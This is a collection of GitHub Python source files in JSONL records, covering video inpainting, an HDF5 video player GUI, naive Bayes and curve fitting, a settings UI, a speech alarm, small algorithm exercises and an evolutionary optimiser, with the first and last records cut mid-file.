(mod_size_w - w % mod_size_w) % mod_size_w\n masked_imgs = torch.cat(\n [masked_imgs, torch.flip(masked_imgs, [3])],\n 3)[:, :, :, :h + h_pad, :]\n masked_imgs = torch.cat(\n [masked_imgs, torch.flip(masked_imgs, [4])],\n 4)[:, :, :, :, :w + w_pad]\n pred_imgs, _ = inpaint_model(masked_imgs, len(neighbor_ids))\n pred_imgs = pred_imgs[:, :, :h, :w]\n pred_imgs = (pred_imgs + 1) / 2\n pred_imgs = pred_imgs.cpu().permute(0, 2, 3, 1).numpy() * 255\n for i in range(len(neighbor_ids)):\n idx = neighbor_ids[i]\n img = np.array(pred_imgs[i]).astype(\n np.uint8) * binary_masks[idx] + frames[idx] * (\n 1 - binary_masks[idx])\n if comp_frames[idx] is None:\n comp_frames[idx] = img\n else:\n comp_frames[idx] = comp_frames[idx].astype(\n np.float32) * 0.5 + img.astype(np.float32) * 0.5\n \n ret_frames = []\n for f in range(video_length):\n ret_frames.append(comp_frames[f].astype(np.uint8))\n\n return ret_frames\n","repo_name":"adityak77/rewards-from-human-videos","sub_path":"dvd/inpaint_utils.py","file_name":"inpaint_utils.py","file_ext":"py","file_size_in_byte":14180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19963110517","text":"import sys\nimport tables\nimport os\nimport numpy as np\nimport copy\nfrom functools import partial\n\nfrom PyQt5 import QtWidgets, QtCore, QtGui\nfrom PyQt5.QtCore import Qt\nfrom .HDF5VideoPlayer_ui import Ui_HDF5VideoPlayer\n\ndef setChildrenFocusPolicy(obj, policy):\n # recursively change the focus policy of all the objects in the widgets\n def recursiveSetChildFocusPolicy(parentQWidget):\n for childQWidget in parentQWidget.findChildren(QtWidgets.QWidget):\n childQWidget.setFocusPolicy(policy)\n recursiveSetChildFocusPolicy(childQWidget)\n recursiveSetChildFocusPolicy(obj)\n\nclass LineEditDragDrop():\n def __init__(self, line_edit_obj, update_fun, test_file_fun):\n self.update_fun = update_fun\n self.test_file_fun = test_file_fun\n\n self.line_edit_obj = line_edit_obj\n self.line_edit_obj.setAcceptDrops(True)\n self.line_edit_obj.dragEnterEvent = self.dragEnterEvent\n self.line_edit_obj.dropEvent = self.dropEvent\n\n def dragEnterEvent(self, event):\n if event.mimeData().hasUrls:\n event.accept()\n else:\n event.ignore()\n\n def dropEvent(self, e):\n for url in e.mimeData().urls():\n vfilename = url.toLocalFile()\n if self.test_file_fun(vfilename):\n self.update_fun(vfilename)\n\n\nclass ViewsWithZoom():\n\n def __init__(self, view):\n self._view = view\n self._scene = QtWidgets.QGraphicsScene(self._view)\n self._view.setScene(self._scene)\n self._canvas = QtWidgets.QGraphicsPixmapItem()\n self._scene.addItem(self._canvas)\n\n self._zoom = 0\n self._view.wheelEvent = self.zoomWheelEvent\n\n # zoom wheel\n def zoomWheelEvent(self, event):\n if not self._canvas.pixmap().isNull():\n numPixels = event.pixelDelta()\n numDegrees = event.angleDelta() / 8\n\n delta = numPixels if not numPixels.isNull() else numDegrees\n\n if event.source() == 0:\n event_type = \"mouse\" # scroll wheels\n elif event.source() == 1:\n event_type = \"trackpad\" # anything OS-interpreted\n else:\n raise Exception(\"Unexpected event source in zoom.\")\n\n self.zoom(delta.y(), event_type)\n\n def zoom(self, zoom_direction, event_type):\n\n assert event_type in [\"mouse\", \"trackpad\", \"keypress\"]\n\n factor_zoomin = 1\n factor_zoomout = 1\n\n # Mouse scroll\n if event_type == \"mouse\":\n factor_zoomin *= 1.15\n factor_zoomout /= 1.15\n\n # Trackpad scroll\n elif event_type == \"trackpad\":\n factor_zoomin *= 1.05\n factor_zoomout /= 1.05\n\n # Keypress +/- scroll\n elif event_type == \"keypress\":\n factor_zoomin *= 1.15\n factor_zoomout /= 1.15\n\n if zoom_direction > 0:\n factor = factor_zoomin\n self._zoom += 1\n else:\n factor = factor_zoomout\n self._zoom -= 1\n\n # Zoom in/out scaling\n if self._zoom > 0:\n self._view.scale(factor, factor)\n # Fitting to view\n elif self._zoom == 0:\n self.zoomFitInView()\n # Resetting zoom\n else:\n self._zoom = 0\n self.zoomFitInView()\n\n def zoomFitInView(self):\n rect = QtCore.QRectF(self._canvas.pixmap().rect())\n if not rect.isNull():\n unity = self._view.transform().mapRect(QtCore.QRectF(0, 0, 1, 1))\n self._view.scale(1 / unity.width(), 1 / unity.height())\n viewrect = self._view.viewport().rect()\n scenerect = self._view.transform().mapRect(rect)\n factor = min(viewrect.width() / scenerect.width(),\n viewrect.height() / scenerect.height())\n self._view.scale(factor, factor)\n self._view.centerOn(rect.center())\n self._zoom = 0\n\n def cleanCanvas(self):\n self._canvas.setPixmap(QtGui.QPixmap())\n\n def setPixmap(self, frame_qimg=None):\n if frame_qimg is None:\n return\n\n pixmap = QtGui.QPixmap.fromImage(frame_qimg)\n self._canvas.setPixmap(pixmap)\n\nclass SimplePlayer(QtWidgets.QMainWindow):\n def __init__(self, ui):\n super().__init__()\n\n self.timer = QtCore.QTimer()\n self.timer.timeout.connect(self.getNextImage)\n self.ui = ui\n self.isPlay = False\n self.image_group = None\n\n\n def keyPressEvent(self, event):\n #HOT KEYS\n key = event.key()\n\n # Duplicate the frame step size (speed) when pressed > or .:\n if key == Qt.Key_Greater or key == Qt.Key_Period:\n self.frame_step *= 2\n self.ui.spinBox_step.setValue(self.frame_step)\n\n\n # Half the frame step size (speed) when pressed: < or ,\n elif key == Qt.Key_Less or key == Qt.Key_Comma:\n self.frame_step //= 2\n if self.frame_step < 1:\n self.frame_step = 1\n self.ui.spinBox_step.setValue(self.frame_step)\n\n\n # Move backwards when are pressed\n elif key == Qt.Key_Left:\n self.frame_number -= self.frame_step\n if self.frame_number < 0:\n self.frame_number = 0\n self.ui.spinBox_frame.setValue(self.frame_number)\n\n\n # Move forward when are pressed\n elif key == Qt.Key_Right:\n self.frame_number += self.frame_step\n if self.frame_number >= self.tot_frames:\n self.frame_number = self.tot_frames - 1\n self.ui.spinBox_frame.setValue(self.frame_number)\n\n #super().keyPressEvent(event)\n\n def playVideo(self):\n if self.image_group is None:\n return\n if not self.isPlay:\n self.startPlay()\n else:\n self.stopPlay()\n\n def startPlay(self):\n self.timer.start(round(1000 / self.fps))\n self.isPlay = True\n self.ui.playButton.setText('Stop')\n self.ui.doubleSpinBox_fps.setEnabled(False)\n\n def stopPlay(self):\n self.timer.stop()\n self.isPlay = False\n self.ui.playButton.setText('Play')\n self.ui.doubleSpinBox_fps.setEnabled(True)\n\n # Function to get the new valid frame during video play\n def getNextImage(self):\n self.frame_number += self.frame_step\n if self.frame_number >= self.tot_frames:\n self.frame_number = self.tot_frames - 1\n self.stopPlay()\n self.ui.spinBox_frame.setValue(self.frame_number)\n\n @property\n def fps(self):\n return self.ui.doubleSpinBox_fps.value()\n @fps.setter\n def fps(self, value):\n return self.ui.doubleSpinBox_fps.setValue(value)\n\n @property\n def frame_step(self):\n return self.ui.spinBox_step.value()\n\n @frame_step.setter\n def frame_step(self, value):\n return self.ui.spinBox_step.setValue(value)\n\nclass HDF5VideoPlayerGUI(SimplePlayer):\n\n def __init__(self, ui=None):\n if ui is None:\n ui = Ui_HDF5VideoPlayer()\n\n super().__init__(ui)\n\n # Set up the user interface from Designer.\n self.ui.setupUi(self)\n\n self.vfilename = None\n self.fid = None\n self.image_group = None\n self.isPlay = False\n self.videos_dir = ''\n self.h5path = None\n self.frame_img = None\n self.frame_qimg = None\n\n #default expected groups in the hdf5\n self.ui.comboBox_h5path.setItemText(0, \"/mask\")\n self.ui.comboBox_h5path.setItemText(1, \"/full_data\")\n\n self.ui.pushButton_video.clicked.connect(self.getVideoFile)\n self.ui.playButton.clicked.connect(self.playVideo)\n\n # set scroller\n sld_pressed = partial(self.ui.imageSlider.setCursor, QtCore.Qt.ClosedHandCursor)\n sld_released = partial(self.ui.imageSlider.setCursor, QtCore.Qt.OpenHandCursor)\n\n self.ui.imageSlider.sliderPressed.connect(sld_pressed)\n self.ui.imageSlider.sliderReleased.connect(sld_released)\n self.ui.imageSlider.valueChanged.connect(self.ui.spinBox_frame.setValue)\n #eliminate ticks, they will be a problem since I make the maximum size of the slider tot_frames\n self.ui.imageSlider.setTickPosition(QtWidgets.QSlider.NoTicks)\n\n #%%\n self.ui.spinBox_frame.valueChanged.connect(self.updateFrameNumber)\n self.ui.comboBox_h5path.activated.connect(self.getImGroup)\n self.ui.pushButton_h5groups.clicked.connect(self.updateGroupNames)\n\n\n # setup image view as a zoom\n self.mainImage = ViewsWithZoom(self.ui.mainGraphicsView)\n\n # let drag and drop a file into the video file line edit\n LineEditDragDrop(\n self.ui.lineEdit_video,\n self.updateVideoFile,\n os.path.isfile)\n\n # make sure the childrenfocus policy is none in order to be able to use\n # the arrow keys\n setChildrenFocusPolicy(self, QtCore.Qt.ClickFocus)\n\n def keyPressEvent(self, event):\n #HOT KEYS\n\n if self.fid is None:\n # break no file open, nothing to do here\n return\n\n key = event.key()\n if key == Qt.Key_Minus:\n self.mainImage.zoom(-1)\n elif key == Qt.Key_Plus:\n self.mainImage.zoom(1)\n\n super().keyPressEvent(event)\n\n # frame spin box\n def updateFrameNumber(self):\n self.frame_number = self.ui.spinBox_frame.value()\n self.ui.imageSlider.setValue(self.frame_number)\n self.updateImage()\n\n # update image: get the next frame_number, and resize it to fix in the GUI\n # area\n def updateImage(self):\n self.readCurrentFrame()\n self.mainImage.setPixmap(self.frame_qimg)\n\n def readCurrentFrame(self):\n if self.image_group is None:\n self.frame_qimg = None\n return\n self.frame_img = self.image_group[self.frame_number, :, :]\n self._normalizeImage()\n\n\n def _normalizeImage(self):\n if self.frame_img is None:\n return\n\n dd = self.ui.mainGraphicsView.size()\n self.label_height = dd.height()\n self.label_width = dd.width()\n\n # equalize and cast if it is not uint8\n if self.frame_img.dtype != np.uint8:\n top = np.max(self.frame_img)\n bot = np.min(self.frame_img)\n\n self.frame_img = (self.frame_img - bot) * 255. / (top - bot)\n self.frame_img = np.round(self.frame_img).astype(np.uint8)\n\n self.frame_qimg = self._convert2Qimg(self.frame_img)\n\n\n def _convert2Qimg(self, img):\n qimg = QtGui.QImage(\n img.data,\n img.shape[1],\n img.shape[0],\n img.strides[0],\n QtGui.QImage.Format_Indexed8)\n qimg = qimg.convertToFormat(\n QtGui.QImage.Format_RGB32, QtCore.Qt.AutoColor)\n\n return qimg\n\n # file dialog to the the hdf5 file\n def getVideoFile(self):\n vfilename, _ = QtWidgets.QFileDialog.getOpenFileName(\n self, \"Find HDF5 video file\", self.videos_dir, \"HDF5 files (*.hdf5);; All files (*)\")\n\n self.updateVideoFile(vfilename)\n\n def updateVideoFile(self, vfilename):\n # close the if there was another file opened before.\n if self.fid is not None:\n self.fid.close()\n self.mainImage.cleanCanvas()\n self.fid = None\n self.image_group = None\n\n self.vfilename = vfilename\n self.ui.lineEdit_video.setText(self.vfilename)\n self.videos_dir = self.vfilename.rpartition(os.sep)[0] + os.sep\n\n try:\n self.fid = tables.File(vfilename, 'r')\n except (IOError, tables.exceptions.HDF5ExtError):\n self.fid = None\n self.image_group = None\n QtWidgets.QMessageBox.critical(\n self,\n '',\n \"The selected file is not a valid .hdf5. Please select a valid file\",\n QtWidgets.QMessageBox.Ok)\n return\n\n self.getImGroup(0)\n\n def updateGroupNames(self):\n valid_groups = []\n for group in self.fid.walk_groups(\"/\"):\n for array in self.fid.list_nodes(group, classname='Array'):\n if array.ndim == 3:\n valid_groups.append(array._v_pathname)\n\n if not valid_groups:\n QtWidgets.QMessageBox.critical(\n self,\n '',\n \"No valid video groups were found. Dataset with three dimensions and uint8 data type. Closing file.\",\n QtWidgets.QMessageBox.Ok)\n self.fid.close()\n self.image_group = None\n self.mainImage.cleanCanvas()\n\n return\n\n self.ui.comboBox_h5path.clear()\n for kk in valid_groups:\n self.ui.comboBox_h5path.addItem(kk)\n self.getImGroup(0)\n self.updateImage()\n\n def getImGroup(self, index):\n self.h5path = self.ui.comboBox_h5path.itemText(index)\n self.updateImGroup(self.h5path)\n\n # read a valid groupset from the hdf5\n def updateImGroup(self, h5path):\n if self.fid is None:\n self.image_group = None\n return\n\n #self.h5path = self.ui.comboBox_h5path.text()\n if h5path not in self.fid:\n self.mainImage.cleanCanvas()\n QtWidgets.QMessageBox.critical(\n self,\n 'The groupset path does not exist',\n \"The groupset path does not exists. You must specify a valid groupset path\",\n QtWidgets.QMessageBox.Ok)\n self.image_group == None\n return\n\n self.image_group = self.fid.get_node(h5path)\n if len(self.image_group.shape) != 3:\n self.mainImage.cleanCanvas()\n QtWidgets.QMessageBox.critical(\n self,\n 'Invalid groupset',\n \"Invalid groupset. The groupset must have three dimensions\",\n QtWidgets.QMessageBox.Ok)\n self.image_group == None\n return\n\n self.tot_frames = self.image_group.shape[0]\n self.image_height = self.image_group.shape[1]\n self.image_width = self.image_group.shape[2]\n\n self.ui.spinBox_frame.setMaximum(self.tot_frames - 1)\n self.ui.imageSlider.setMaximum(self.tot_frames - 1)\n\n self.frame_number = 0\n self.ui.spinBox_frame.setValue(self.frame_number)\n self.updateImage()\n self.mainImage.zoomFitInView()\n\n def setFileName(self, filename):\n self.filename = filename\n self.ui.lineEdit.setText(filename)\n\n def resizeEvent(self, event):\n if self.fid is not None:\n self.updateImage()\n self.mainImage.zoomFitInView()\n\n\n\n def closeEvent(self, event):\n if self.fid is not None:\n self.fid.close()\n super(HDF5VideoPlayerGUI, self).closeEvent(event)\n\nif __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n\n ui = HDF5VideoPlayerGUI()\n ui.show()\n\n sys.exit(app.exec_())\n","repo_name":"Tierpsy/EggCounting","sub_path":"eggcounting/count_eggs/HDF5VideoPlayer.py","file_name":"HDF5VideoPlayer.py","file_ext":"py","file_size_in_byte":15003,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"33249512966","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 19 01:05:10 2022\nnaive bayes classifier\n@author: starg\n\"\"\"\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport dateutil\nfrom scipy.optimize import curve_fit\nimport numpy as np\n\n\ndef Gauss(x, A, B):\n y = A*np.exp(-1*B*x**2)\n return y\n\ndf = pd.read_csv('./data/intraday_5min_IBM.csv')\n\nopen_prices = df['open']\nclose_prices = df['close']\nprices = list(zip(open_prices,close_prices))\ntimes = list(df['timestamp'])\ntimes = list(map(lambda x: dateutil.parser.parse(x).timestamp(),times))\n\nparameters, covariance = curve_fit(Gauss, times, open_prices)\n\nfit_A = parameters[0]\nfit_B = parameters[1]\n\nfit_y = Gauss(times, fit_A, fit_B)\nplt.plot(times, open_prices, 'o', label='data')\nplt.plot(times, fit_y, '-', label='fit')\nplt.legend()\n\n\n\ndiff = list(map(lambda x: x[0]-x[1],prices))\n\nplt.plot(times, open_prices, 'g-')\nplt.plot(times, close_prices, 'r-')\n#plt.plot(times, diff, 'm-')\nplt.xlabel('time')\nplt.ylabel('open price')\nplt.show()\n\n\n \n\n\ndef separate_by_class(dataset):\n\tseparated = dict()\n\tfor i in range(len(dataset)):\n\t\tvector = dataset[i]\n\t\tclass_value = vector[-1]\n\t\tif (class_value not in separated):\n\t\t\tseparated[class_value] = list()\n\t\tseparated[class_value].append(vector)\n\treturn separated\n\n# Example of summarizing data by class value\nfrom math import sqrt\n\n# Split the dataset by class values, returns a dictionary\n\n\n# Calculate the mean of a list of numbers\ndef mean(numbers):\n\treturn sum(numbers)/float(len(numbers))\n\n# Calculate the standard deviation of a list of numbers\ndef stdev(numbers):\n\tavg = mean(numbers)\n\tvariance = sum([(x-avg)**2 for x in numbers]) / float(len(numbers)-1)\n\treturn sqrt(variance)\n\n# Calculate the mean, stdev and count for each column in a dataset\ndef summarize_dataset(dataset):\n\tsummaries = [(mean(column), stdev(column), len(column)) for column in zip(*dataset)]\n\tdel(summaries[-1])\n\treturn summaries\n\n# Split dataset by class then calculate statistics for each row\ndef summarize_by_class(dataset):\n\tseparated = separate_by_class(dataset)\n\tsummaries = dict()\n\tfor class_value, rows in separated.items():\n\t\tsummaries[class_value] = summarize_dataset(rows)\n\treturn summaries\n\n# Test summarizing by class\ndataset = [[3.393533211,2.331273381,0],\n\t[3.110073483,1.781539638,0],\n\t[1.343808831,3.368360954,0],\n\t[3.582294042,4.67917911,0],\n\t[2.280362439,2.866990263,0],\n\t[7.423436942,4.696522875,1],\n\t[5.745051997,3.533989803,1],\n\t[9.172168622,2.511101045,1],\n\t[7.792783481,3.424088941,1],\n\t[7.939820817,0.791637231,1]]\nsummary = summarize_by_class(dataset)\nfor label in summary:\n\tprint(label)\n\tfor row in summary[label]:\n\t\tprint(row)","repo_name":"JordanTPhysics/BullStock","sub_path":"Machine Learning/naivebayes.py","file_name":"naivebayes.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3083056638","text":"#小鱼.py\r\n\r\nimport random\r\n\r\nclass Fish :\r\n\r\n def __init__(self) :\r\n self.x = random.randint(1,20)\r\n self.y = random.randint(1,15)\r\n def bgSwim(self):\r\n self.x = self.x + 1\r\n self.y = self.y - 1\r\n print(\"此时的位置为:\", self.x,\"--\", self.y)\r\n\r\nfish = Fish()\r\nprint(\"此时的位置为:\", fish.x, \"--\", fish.y)\r\nfish.bgSwim()\r\n","repo_name":"Prometheus1969/Freshman-Year2-Python","sub_path":"小鱼.py","file_name":"小鱼.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23651001169","text":"\"\"\"\nSetting menu related things\n\nOverview\n===============================================================================\n\n+----------+------------------------------------------------------------------+\n| Path | PyPoE/ui/shared/settings.py |\n+----------+------------------------------------------------------------------+\n| Version | 1.0.0a0 |\n+----------+------------------------------------------------------------------+\n| Revision | $Id: e352df3620568de99b002ad891e52dffda6772de $ |\n+----------+------------------------------------------------------------------+\n| Author | Omega_K2 |\n+----------+------------------------------------------------------------------+\n\nDescription\n===============================================================================\n\n\n\nAgreement\n===============================================================================\n\nSee PyPoE/LICENSE\n\nDocumentation\n===============================================================================\n\nPublic API\n-------------------------------------------------------------------------------\n\nInternal API\n-------------------------------------------------------------------------------\n\"\"\"\n\n# =============================================================================\n# Imports\n# =============================================================================\n\n# Python\n\n# 3rd-party\nfrom PySide2.QtCore import *\nfrom PySide2.QtWidgets import *\n\n# self\n\n# =============================================================================\n# Globals\n# =============================================================================\n\n__all__ = ['SettingsWindow', 'SettingFrame', 'Setting', 'BoolSetting']\n\n# =============================================================================\n# Classes\n# =============================================================================\n\n\nclass SettingsWindow(QDialog):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.action_open = QAction(self, text=self.tr('Settings'))\n self.action_open.setStatusTip(self.tr(\n 'Opens the settings window'\n ))\n self.action_open.triggered.connect(self._action_open)\n\n self.setWindowTitle(self.tr('Settings'))\n\n self.base_layout = QHBoxLayout()\n self.setLayout(self.base_layout)\n\n self.section_list = QListView(parent=self)\n self.section_list.setMovement(QListView.Static)\n self.section_list.setEditTriggers(QAbstractItemView.NoEditTriggers)\n # TODO: IDK how to capture keyboard selections.\n self.section_list.pressed.connect(self._selected)\n self.base_layout.addWidget(self.section_list)\n\n self.frame = QFrame(parent=self)\n self.frame.setMinimumHeight(300)\n self.frame.setMinimumWidth(500)\n self.base_layout.addWidget(self.frame)\n\n self.layout = QVBoxLayout()\n self.frame.setLayout(self.layout)\n\n self.current_frame = None\n\n self.sections = []\n self.changed = True\n\n def _selected(self, index):\n if not index.isValid():\n return\n\n if self.current_frame:\n self.layout.removeWidget(self.current_frame)\n\n self.layout.addWidget(self.sections[index.row()]['frame'])\n self.current_frame = self.sections[index.row()]['frame']\n\n def add_config_section(self, tr, qframe, order=0):\n self.sections.append({\n 'text': tr,\n 'frame': qframe,\n 'order': order,\n })\n self.changed = True\n\n def _action_open(self):\n if self.changed:\n self.sections.sort(key=lambda x: x['order'])\n model = QStringListModel()\n model.setStringList([row['text'] for row in self.sections])\n self.section_list.setModel(model)\n self.section_list.setSelectionMode(\n QAbstractItemView.SingleSelection\n )\n self.changed = False\n\n self.exec_()\n\n\nclass SettingFrame(QFrame):\n KEY = NotImplemented\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.settings = {}\n\n def _add_setting(self, setting):\n self.settings[setting.KEY] = setting\n\n def __getattr__(self, item):\n try:\n return self.settings[item].value\n except KeyError:\n raise AttributeError\n\n\nclass BaseSetting:\n KEY = NotImplemented\n DEFAULT = NotImplemented\n\n def __init__(self, parent, settings, *args, **kwargs):\n self.parent = parent\n self.settings = settings\n self.value = self.get()\n\n def setting_path(self):\n return '/'.join(\n (self.parent.KEY, self.KEY)\n )\n\n def _get_cast(self, value):\n raise NotImplementedError\n\n def _set_cast(self, value):\n raise NotImplementedError\n\n def get(self):\n v = self.settings.value(self.setting_path())\n\n if v is None:\n return self.DEFAULT\n\n return self._get_cast(v)\n\n def set(self, value=None):\n if value is None:\n value = self.value\n\n self.settings.setValue(\n self.setting_path(),\n self._set_cast(value),\n )\n\n\nclass BoolSetting(BaseSetting):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.checkbox = QCheckBox()\n self.checkbox.setChecked(self.value)\n self.checkbox.stateChanged.connect(self._update)\n\n def _get_cast(self, value):\n return bool(int(value))\n\n def _set_cast(self, value):\n return str(int(value))\n\n def _update(self, state):\n if state == Qt.Unchecked:\n self.value = False\n elif state == Qt.Checked:\n self.value = True\n else:\n raise ValueError('Invalid Qt::CheckState')\n\n self.set()\n\n\nclass ComboBoxSetting(BaseSetting):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.combobox = QComboBox()\n self.combobox.setEditable(False)\n self.combobox.currentIndexChanged.connect(self._update)\n self.data = {}\n\n def _set_data(self, data):\n v = self.value\n self.data = data\n for i, (text, value) in enumerate(data.items()):\n self.combobox.addItem(text)\n if value == v:\n self.combobox.setCurrentIndex(i)\n\n def _update(self, value):\n self.value = self.data[self.combobox.itemText(value)]\n self.set(self.value)\n# =============================================================================\n# Functions\n# =============================================================================\n","repo_name":"OmegaK2/PyPoE","sub_path":"PyPoE/ui/shared/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":6822,"program_lang":"python","lang":"en","doc_type":"code","stars":235,"dataset":"github-code","pt":"72"} +{"seq_id":"38237461611","text":"# pip install pyttsx3\n# pip install playsound == 1.2.2\n\nimport playsound\nimport pyttsx3\n\n\nclass Alarm:\n\n def speak(self, text):\n engine = pyttsx3.init()\n engine.setProperty('rate', 250)\n engine.setProperty('volume', 1)\n engine.say(text)\n engine.runAndWait()\n\n def transform_obj(self, classes):\n c = '장애물'\n if classes == 0:\n c = '사람'\n elif classes == 1:\n c = '전봇대'\n elif classes == 2:\n c = '기둥'\n elif classes == 3:\n c = '가로수'\n elif classes == 4:\n c = '차량'\n elif classes == 5:\n c = '신호등'\n elif classes == 6:\n c = '트럭'\n elif classes == 7:\n c = '버스'\n elif classes == 8:\n c = '표지판'\n elif classes == 9:\n c = '오토바이'\n elif classes == 10:\n c = '표지판'\n elif classes == 11:\n c = '화분'\n elif classes == 12:\n c = '휠체어'\n return c\n\n def transform_dist(self, direction):\n d = \"방향\"\n if direction[0] and direction[1] and (not direction[2]):\n d = \"좌측 전방에\"\n elif (not direction[0]) and direction[1] and direction[2]:\n d = \"우측 전방에\"\n elif (not direction[0]) and (not direction[1]) and direction[2]:\n d = \"우측에\"\n elif (not direction[0]) and direction[1] and (not direction[2]):\n d = \"전방에\"\n elif direction[0] and (not direction[1]) and (not direction[2]):\n d = \"좌측에\"\n elif direction[0] and direction[1] and direction[2]:\n d = \"전방위에\"\n return d\n\n def runmodule(self, classes, direction, danger):\n if danger == 0:\n self.speak(\"알림 안함\")\n elif classes == -1:\n playsound.playsound('beep.wav')\n self.speak(\"도로 이탈 주의\")\n elif classes == -2:\n playsound.playsound('beep.wav')\n self.speak(\"전방에\" + \",,\" + \"횡단보도\")\n else:\n d = self.transform_dist(direction)\n c = self.transform_obj(classes)\n playsound.playsound('beep.wav')\n self.speak(d + \",,\" + c)\n\n def loadspeak(self):\n engine = pyttsx3.init()\n engine.setProperty('rate', 150)\n engine.setProperty('volume', 1)\n engine.say(\"준비가 되었습니다. 보행을 시작해주세요.\")\n engine.runAndWait()\n\n def __init__(self):\n self.loadspeak()","repo_name":"CSID-DGU/2022-1-OSSP2-cane-10","sub_path":"alarmmodule/alarmmodule.py","file_name":"alarmmodule.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11491894509","text":"from typing import List\n\n\nclass Solution:\n # @param A : list of integers\n # @return a list of list of integers\n def permute(self, A: List):\n answer = []\n li = [ele for ele in A]\n self.permute_rec(A, answer, li)\n return answer\n\n def permute_rec(self, A: List, ans, li, si=0):\n if si == len(A) - 1:\n ans.append(li.copy())\n return\n for i in range(si, len(A)):\n li[i], li[si] = li[si], li[i]\n self.permute_rec(A, ans, li, si=si+1)\n li[i], li[si] = li[si], li[i]\n\n return\n\n\nif __name__ == \"__main__\":\n s = Solution()\n A = [1, 2, 3]\n print(s.permute(A))\n","repo_name":"akashdeep3194/Scaler","sub_path":"d75/Permutations.py","file_name":"Permutations.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73836045674","text":"class Solution:\n\tdef __init__(self, filename):\n\t\tself.instructions = self.ReadInstructions(filename)\n\t\tself.signalStrengths = self.CalcSumOfSignalStrength()\n\t\tself.SumOfSignalStrengths = sum([signal[0]*signal[1] for signal in self.signalStrengths])\n\n\tdef ReadInstructions(self, filename):\n\t\tinstructions = []\n\t\twith open(filename, 'r') as f:\n\t\t\tfor instruction in f:\n\t\t\t\tins = instruction.split()\n\t\t\t\tif len(ins) != 1:\n\t\t\t\t\tcmd, val = ins\n\t\t\t\t\tinstructions.append([cmd, int(val)])\n\t\t\t\telse:\n\t\t\t\t\tinstructions.append([ins[0], 0])\n\n\t\treturn instructions\n\n\tdef print(self, cycle, register):\n\t\tprint(f'Cycle: {cycle} >> Register: {register}')\n\n\tdef CheckCycle(self, cycleNo):\n\t\tcycleChecks = [20,60,100,140,180,220]\n\n\t\tif cycleNo in cycleChecks:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n\tdef CalcSumOfSignalStrength(self):\n\t\tsignalStrengths = []\n\t\tregister = [1]\n\t\tcycle = 0\n\n\t\tfor ins in self.instructions:\n\t\t\tcmd, val = ins\n\n\t\t\tif cmd == 'addx':\n\t\t\t\tcycle += 1\n\t\t\t\tif self.CheckCycle(cycle):\n\t\t\t\t\tsignalStrengths.append([cycle, sum(register)])\n\t\t\t\tcycle += 1\n\t\t\t\tif self.CheckCycle(cycle):\n\t\t\t\t\tsignalStrengths.append([cycle, sum(register)])\n\t\t\t\tregister.append(val)\n\t\t\telif cmd == 'noop':\n\t\t\t\tcycle += 1\n\t\t\t\tif self.CheckCycle(cycle):\n\t\t\t\t\tsignalStrengths.append([cycle, sum(register)])\n\t\t\telse:\n\t\t\t\tprint(f'Didnt acount for this command >> {ins}')\n\n\n\t\treturn signalStrengths\n\n\n\n\n\ndef main():\n\t#s = Solution('example.txt')\n\ts = Solution('input.txt')\n\n\tprint(f'Part 1, list of signal strengths: {s.signalStrengths}')\n\tprint(f' Sum of signal strengths {s.SumOfSignalStrengths}')\n\n\n\n\nif __name__ == '__main__': main()","repo_name":"LindAndersen/AdventOfCode","sub_path":"2022/Day10/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19190650210","text":"import numpy as np \nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set_style('whitegrid')\nfrom matplotlib import animation\n\n# function to optimize\n# from \n# http://www.mathworks.com/help/gads/using-gamultiobj.html?refresh=true\ndef mymulti1(x):\n f1 = x[0]**4 - 10*x[0]**2+x[0]*x[1] + x[1]**4 -(x[0]**2)*(x[1]**2);\n f2 = x[1]**4 - (x[0]**2)*(x[1]**2) + x[0]**4 + x[0]*x[1];\n return np.array([f1,f2])\n\nub = 5\nlb = -5\n\nd = 2 # dimension of decision variable space\nnum_obj = 2\ns = 0.2 # stdev of normal noise (if this is too big, it's just random search!)\n\nm = 18\nl = 100 # beware \"lambda\" is a reserved keyword\nmax_gen = 100 # should be a multiple\n\n# ASSUMES MINIMIZATION\n# a dominates b if it is <= in all objectives and < in at least one\ndef dominates(a,b):\n return (np.all(a <= b) and np.any(a < b))\n\n# select 1 parent from population P\n# (Luke Algorithm 99 p.138)\ndef binary_tournament(P,f):\n ix = np.random.randint(0,P.shape[0],2)\n a,b = f[ix[0]], f[ix[1]]\n if dominates(a,b):\n return P[ix[0]]\n elif dominates(b,a):\n return P[ix[1]]\n else:\n return P[ix[0]] if np.random.rand() < 0.5 else P[ix[1]]\n\ndef mutate(x, lb, ub, sigma):\n return np.clip(x + np.random.normal(0,s,d), lb, ub)\n\n# assumes minimization\n# return only the nondominated members of A+P\n# solution by Mohamed Alkaoud, Fall 2016\ndef archive_sort(A, fA, P, fP):\n\n A = np.concatenate((A, P))\n fA = np.concatenate((fA, fP))\n num_solutions = A.shape[0]\n\n # use a boolean index to keep track of nondominated solns\n keep = np.ones(num_solutions, dtype = bool)\n\n for i in range(num_solutions):\n keep[i] = np.all(np.any(fA >= fA[i], axis=1))\n\n return (A[keep], 